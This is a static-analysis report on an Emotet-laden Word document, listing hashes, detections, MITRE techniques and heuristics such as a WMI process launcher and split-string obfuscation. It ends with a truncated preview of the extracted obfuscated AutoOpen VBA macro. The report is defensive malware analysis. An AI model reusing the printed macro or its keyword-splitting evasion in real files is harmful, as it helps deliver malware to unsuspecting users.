Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ac0a7018f3c242b4…

MALICIOUS

Office (OLE)

179.2 KB Created: 2019-04-12 16:46:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 42971adcf0ae13ab6d2c84eb840044a0 SHA-1: 93148935c488b17dcf4c8145418a250a298a9e3b SHA-256: ac0a7018f3c242b4277c9796d8d3cf0e0e3987e56f624728d0c30073d1758d69
342 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is identified as malicious by ClamAV with a specific Emotet signature. Critical heuristics indicate the presence of a VBA macro that uses GetObject and CreateObject to launch the 'winmgmts' service, specifically targeting the Win32_Process.Create method. This is a common technique for Emotet to download and execute additional malicious payloads. The macro also exhibits obfuscation by splitting keywords.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-6939267-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6939267-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36409 bytes
SHA-256: f78c7707f8e233db7ca6376f2d213ac07d696c64632481d3750d57c674b3fedf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SQZBGXQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "EGA4AAZ4"
Attribute VB_Base = "0{D525A389-BC46-414D-B715-8B371E2BFD1A}{3188294C-B6CE-4FE7-83A6-677F2FFF46B3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "WkkZQB"
Attribute VB_Base = "0{85C833A3-F5FA-4489-959F-11DA321E8751}{DF598C9D-D234-46B0-BF9E-634C56B0F701}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "GUUxAXUA"
Sub autoopen()
   If AQBoUUB = jGGAAc Then
 jCABAA = BAAAAZX - WAAoAk
      Select Case QUAAQ1
         Case 68233013
            tGBDDU = CVar(149516903 * Rnd(wUAAA_AG * Round(877296247) / 44371050 * CLng(190187375 * Sqr(rZU4AAA))))
            EXGAQXA = Round(iD4XU_)
         Case 985196970
            NDAxAc = RGZUkDAZ
            hQC_AQB = Atn(603061217)
      End Select
End If
   If UxAQADGk = fQZ1AAwA Then
 MAXUAcXw = k_AAAA - iQ4AUQAB
      Select Case jAQoAU
         Case 705800004
            tkAX_cUA = CVar(151896625 * Rnd(Ho1AGB * Round(328333801) / 901758249 * CLng(764284047 * Sqr(qAABDU))))
            RQAAAG = Round(FDGZXDZ)
         Case 159317277
            RwUDA_U = V1A41A
            kwcQQU = Atn(505819367)
      End Select
End If
UAAoAADk
   If hAAQAUD = FBBBoX Then
 PwAUQXQ = cAoAAwUQ - cCG4w4BU
      Select Case dAA_BwGB
         Case 111389288
            IAABAAxA = CVar(645141282 * Rnd(VACU44 * Round(676258565) / 794303263 * CLng(195691082 * Sqr(YkwQU1DB))))
            iADQxQA = Round(fwUQABZ)
         Case 155167867
            uAGXAC = cAAUDD4
            iA4AQZA = Atn(182330011)
      End Select
End If
   If NAAAoQk = YAACZoQA Then
 LDxBAA = Q_AZU4 - mAxoGU1
      Select Case lUAC1AB
         Case 741661480
            cwDAAZA = CVar(797247422 * Rnd(wDA4AkQ * Round(145632766) / 146168904 * CLng(494268682 * Sqr(iD_AAAxQ))))
            JcQDGkAU = Round(sAQDCxxA)
         Case 137622906
            BkQBUAA = ooAXA_
            YGoQw4C = Atn(914906155)
      End Select
End If
   If i_GXAc = OA1o4BA Then
 oDwGQoAX = XCBAAwU - NABx_QAA
      Select Case VAkQB4
         Case 794697621
            CBAxBQG = CVar(527967968 * Rnd(iAoBA1 * Round(677530763) / 930143491 * CLng(347706106 * Sqr(LAwAABAU))))
            sAkAkc = Round(YQw4QQ)
         Case 390497130
            UwAGAA = QABBcDkx
            AQG41QGo = Atn(976239406)
      End Select
End If
End Sub

Attribute VB_Name = "jAwAAXQA"
Function UAAoAADk()
On Error Resume Next
   If EoAAAQAD = PAxCBAA Then
 JUXUXBQ = c4CAQ1U - TBD1DBB
      Select Case KAwQXo
         Case 131727169
            uAUAZQG = CVar(797023085 * Rnd(SkAAABU * Round(930296041) / 179456172 * CLng(882023936 * Sqr(sBABAX))))
            CAwoADo = Round(iABBUA)
         Case 960803654
            tAACCGD = IDAAZx
            dABAAcA = Atn(850371286)
      End Select
End If
   If rCAoX4X = wXkAAXAD Then
 TQw1AX_ = Jk1ABkBw - fADA4BUA
      Select Case JxZAUQA
         Case 621736930
            kAXAAAGQ = CVar(570791519 * Rnd(zQADA1A4 * Round(705117662) / 49216335 * CLng(268258692 * Sqr(cXAACxZC))))
            woBAACAB = Round(uwZDAA)
         Case 248086394
            wCAUAA = a4BUAU
            ZAAQGQX = Atn(930740445)
      End Select
End If
   If TQZQCx = X4UAxA Then
 fZAUcB = PGAQG4 - qDoADcZk
      Select Case nAUDAA4
         Case 760151699
            GwAQQZ = CVar(488106208 * Rnd(rZBc4AAU * Round(716889924) / 80538522 * CLng(638522705 * Sqr(ZDAc4C))))
            vAxUG4w = Round(i_AADk)
         Case 91619
... (truncated)